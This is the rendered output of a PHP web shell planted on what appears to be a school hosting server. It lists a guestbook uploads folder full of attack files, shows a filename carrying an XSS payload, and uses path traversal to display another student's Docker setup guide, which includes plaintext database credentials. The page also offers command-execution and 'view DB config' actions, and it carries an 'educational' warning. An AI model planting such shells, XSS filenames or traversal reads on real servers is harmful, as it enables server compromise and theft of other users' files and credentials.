🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ./../../l7-pro-2-e-learning-2023-Epolleke/DOCKER.md

# 🐳 Docker Installation Guide

## English Vocabulary Learning Application - Docker Setup

Deze guide laat zien hoe je de applicatie kunt draaien met Docker in plaats van XAMPP.

## πŸ“‹ Vereisten

- **Docker Desktop** geΓ―nstalleerd ([Download hier](https://www.docker.com/products/docker-desktop))
- **Docker Compose** (komt mee met Docker Desktop)
- Minimaal 2GB vrije RAM
- Poorten 80, 3306, en 8080 beschikbaar

## πŸš€ Snelle Start

### Stap 1: Start Docker Desktop

Zorg dat Docker Desktop draait op je computer.

### Stap 2: Open Terminal in Project Directory

```powershell
# Navigeer naar project directory
cd "C:\Users\ciana\OneDrive - ROC Midden Nederland\School\Projecten\l7-pro-2-e-learning-2023-Epolleke"
```

### Stap 3: Start de Containers

```powershell
# Build en start alle containers
docker-compose up -d
```

Dit commando:
- βœ… Bouwt de PHP/Apache container
- βœ… Start MySQL database
- βœ… Start phpMyAdmin
- βœ… Importeert automatisch de database schema
- βœ… Configureert netwerk tussen containers

### Stap 4: Wacht tot Alles Klaar is

```powershell
# Check status van containers
docker-compose ps
```

Alle containers moeten "Up" status hebben.

### Stap 5: Open de Applicatie

- **Website**: http://localhost
- **phpMyAdmin**: http://localhost:8080
  - Server: `db`
  - Username: `english_user`
  - Password: `english_pass`

## 🎯 Docker Compose Services

### 1. **web** - PHP/Apache Server
- Port: 80
- PHP 8.2 met Apache
- PDO MySQL extensie
- Hot-reload (wijzigingen zijn direct zichtbaar)

### 2. **db** - MySQL Database
- Port: 3306
- MySQL 8.0
- Automatische import van `schema.sql`
- Persistent data storage

### 3. **phpmyadmin** - Database Management
- Port: 8080
- Web interface voor database beheer
- Direct verbonden met MySQL

## πŸ”§ Handige Docker Commando's

### Container Beheer

```powershell
# Start containers
docker-compose up -d

# Stop containers
docker-compose down

# Stop en verwijder alles inclusief volumes
docker-compose down -v

# Herstart containers
docker-compose restart

# Bekijk logs
docker-compose logs -f

# Bekijk logs van specifieke service
docker-compose logs -f web
docker-compose logs -f db
```

### Database Beheer

```powershell
# Open MySQL shell
docker-compose exec db mysql -u english_user -p
# Password: english_pass

# Importeer database opnieuw
docker-compose exec -T db mysql -u english_user -penglish_pass english_learning_app < database/schema.sql

# Maak database backup
docker-compose exec db mysqldump -u english_user -penglish_pass english_learning_app > backup.sql

# Restore database backup
docker-compose exec -T db mysql -u english_user -penglish_pass english_learning_app < backup.sql
```

### Container Inspecteren

```powershell
# Open bash in web container
docker-compose exec web bash

# Open bash in database container
docker-compose exec db bash

# Bekijk container details
docker-compose ps

# Bekijk resource gebruik
docker stats
```

## πŸ”„ Code Wijzigingen

Dankzij volume mounts zijn code wijzigingen **direct zichtbaar**:

1. Edit een bestand (bijv. `index.html` of `js/app.js`)
2. Refresh browser - wijzigingen zijn er!
3. Voor PHP bestanden: geen restart nodig

## πŸ—„οΈ Database Credentials

### Root Toegang (Admin)
- Host: `localhost` (of `db` binnen containers)
- Username: `root`
- Password: `root_password`
- Database: `english_learning_app`

### Application User
- Host: `localhost` (of `db` binnen containers)  
- Username: `english_user`
- Password: `english_pass`
- Database: `english_learning_app`

De applicatie gebruikt automatisch de juiste credentials via environment variables.

## πŸ› Troubleshooting

### Containers Starten Niet

**Probleem:** `Error: port is already allocated`

**Oplossing:**
```powershell
# Check welk proces poort gebruikt
netstat -ano | findstr :80
netstat -ano | findstr :3306

# Stop Docker en herstart
docker-compose down
docker-compose up -d
```

### Database Connectie Fout

**Probleem:** "Database connection failed"

**Oplossing:**
```powershell
# Check of database container draait
docker-compose ps

# Bekijk database logs
docker-compose logs db

# Wacht tot database volledig gestart is
docker-compose up -d
Start-Sleep -Seconds 30
```

### Volumes Resetten

**Probleem:** Database heeft oude data

**Oplossing:**
```powershell
# Stop en verwijder alles inclusief data
docker-compose down -v

# Herstart clean
docker-compose up -d
```

### PHP Errors Niet Zichtbaar

**Probleem:** Witte pagina, geen errors

**Oplossing:**
```powershell
# Bekijk web container logs
docker-compose logs web

# Of real-time:
docker-compose logs -f web
```

### Poort Conflicten

Als poort 80, 3306, of 8080 al in gebruik is, pas dan `docker-compose.yml` aan:

```yaml
services:
  web:
    ports:
      - "8000:80"  # Gebruik poort 8000 i.p.v. 80
  
  db:
    ports:
      - "3307:3306"  # Gebruik poort 3307 i.p.v. 3306
  
  phpmyadmin:
    ports:
      - "8081:80"  # Gebruik poort 8081 i.p.v. 8080
```

## πŸ“Š Container Structuur

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         Docker Network              β”‚
β”‚  (english_learning_network)         β”‚
β”‚                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                  β”‚
β”‚  β”‚     web      β”‚                  β”‚
β”‚  β”‚ PHP 8.2      │←── http://localhost
β”‚  β”‚ Apache       β”‚                  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜                  β”‚
β”‚         β”‚                           β”‚
β”‚         ↓                           β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                  β”‚
β”‚  β”‚      db      β”‚                  β”‚
β”‚  β”‚  MySQL 8.0   │←── localhost:3306
β”‚  β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜                  β”‚
β”‚         β”‚                           β”‚
β”‚         ↓                           β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                  β”‚
β”‚  β”‚ phpmyadmin   β”‚                  β”‚
β”‚  β”‚   Web UI     │←── localhost:8080
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

## πŸ” Security Notes

**Let op:** Dit is een development setup. Voor productie:

- [ ] Wijzig alle wachtwoorden
- [ ] Gebruik secrets in plaats van plain text passwords
- [ ] Verwijder phpMyAdmin of beveilig met authenticatie
- [ ] Gebruik HTTPS met SSL certificaten
- [ ] Beperk toegang met firewalls
- [ ] Update regularly: `docker-compose pull`

## πŸŽ“ Voordelen van Docker vs XAMPP

### βœ… Docker Voordelen
- Geen conflicten met andere software
- Consistente omgeving op elk systeem
- Makkelijk te delen met teamleden
- Snelle setup (1 commando)
- GeΓ―soleerde services
- Makkelijk meerdere projecten parallel

### ⚠️ XAMPP Voordelen
- Simpeler voor beginners
- Grafische interface
- Geen Docker kennis nodig

## 🚒 Deployment naar Productie

### Docker Hub (Optioneel)

```powershell
# Login naar Docker Hub
docker login

# Tag image
docker tag l7-pro-2-e-learning-2023-epolleke_web yourusername/english-learning:latest

# Push naar Docker Hub
docker push yourusername/english-learning:latest
```

### Environment Variables voor Productie

Maak `.env` bestand:

```env
DB_HOST=production-mysql-host
DB_USER=prod_user
DB_PASSWORD=secure_production_password
DB_NAME=english_learning_app
```

Update `docker-compose.yml`:

```yaml
services:
  web:
    env_file:
      - .env
```

## πŸ“ Ontwikkel Workflow

### Dagelijks Gebruik

```powershell
# Ochtend: Start containers
docker-compose up -d

# Ontwikkel: Edit bestanden in VSCode
# Browser: Refresh om changes te zien

# Avond: Stop containers (optioneel)
docker-compose down
```

### Database Wijzigingen

```powershell
# Update schema.sql
# Herstart database met nieuwe schema:
docker-compose down -v
docker-compose up -d
```

## πŸ” Monitoring

### Real-time Logs

```powershell
# Alle containers
docker-compose logs -f

# Alleen web server
docker-compose logs -f web

# Laatste 100 regels
docker-compose logs --tail=100
```

### Resource Gebruik

```powershell
# Live monitoring
docker stats

# Container details
docker-compose top
```

## 🎯 Volgende Stappen

1. βœ… Containers draaien? Open http://localhost
2. βœ… Test alle features in de applicatie
3. βœ… Bekijk database in phpMyAdmin
4. βœ… Maak backup van je data
5. βœ… Begin met ontwikkelen!

## πŸ†˜ Hulp Nodig?

```powershell
# Docker help
docker --help
docker-compose --help

# Container status
docker-compose ps

# Verwijder alles en start opnieuw
docker-compose down -v
docker-compose up -d --build
```

---

**Happy Dockerizing! 🐳**

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!